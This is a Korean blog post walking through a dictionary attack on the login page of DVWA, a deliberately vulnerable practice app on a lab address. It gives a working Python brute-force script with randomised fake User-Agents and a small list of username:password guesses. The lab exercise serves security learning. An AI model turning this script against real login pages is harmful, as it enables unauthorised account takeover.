(웹모의해킹)DVWA와 파이썬을 활용한 Dictionary Attack 실습

2023. 8. 1. 14:31· 웹해킹

오늘은 Dictionary Attack을 실습해 볼 것입니다

아무렇게나 입력하고 로그인 버튼을 눌러보면 이름, 비밀번호가 맞지 않다고 나옵니다. 

버프스위트로 해당 패킷을 잡아보면 이렇게 나옵니다.

저는 파이썬 requests 모듈을 활용하여 실습을 해볼 겁니다.

 

main.py

import requests
from fake_useragent import UserAgent

def Attack():
    URL = "http://10.211.55.7/DVWA/vulnerabilities/brute/"

    cookies = {
        "PHPSESSID" : "er8uv6cfg8ks2dua60gnof174q",
        "security" : "low"
    }

    params = {
        'username' : '',
        'password' : '',
        'Login' : 'Login'
    }

    pF = open('key.txt', 'r')
    for line in pF.readlines():
        params['username'] = line.split(':')[0]
        params['password'] = line.split(':')[1].strip('\n')
        ua = UserAgent()
        fake_headers = {
            "User-Agent": ua.random
        }

        res = requests.get(URL, params=params, cookies=cookies ,headers=fake_headers)
        print("[+] Trying: " + params['username'] + "  " + params['password'])
        if "Welcome to the password protected area admin" in res.text:
            print("Username and Password found! username: {} password: {}".format(params['username'],params['password']))

def main():
    Attack()

if __name__ == "__main__":
    main()

key.txt

admin:1234
admin:4324
admin:p@a@s@s@@word
admin:1233123231
admin:admin
admin:hello
admin:1231123
hello:hello
llllll:llllll
admin:password

결과

 와이어샤크 화면

이렇게 잘 작동하는 것을 볼 수 있습니다.

'웹해킹' 카테고리의 다른 글

(웹모의해킹)BeEF를 활용한 XSS 공격 실습  (0) 2023.08.02
'웹해킹' 카테고리의 다른 글
  • (웹모의해킹)BeEF를 활용한 XSS 공격 실습
Hyomo IT
Hyomo IT
초보 개발자 효모입니다.
Hyomo IT
효모의 IT 블로그
Hyomo IT
전체
오늘
어제
  • 분류 전체보기 (11)
    • 모의해킹 (1)
    • PHP (1)
    • 웹해킹 (2)
    • Python (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 메타스플로잇
  • 백도어
  • hacking
  • php
  • 효모
  • 모의해킹
  • searchsploit
  • 해킹
  • dvwa
  • 써나니타스
  • 파이썬
  • Dictionary Attack

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.0
Hyomo IT
(웹모의해킹)DVWA와 파이썬을 활용한 Dictionary Attack 실습
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.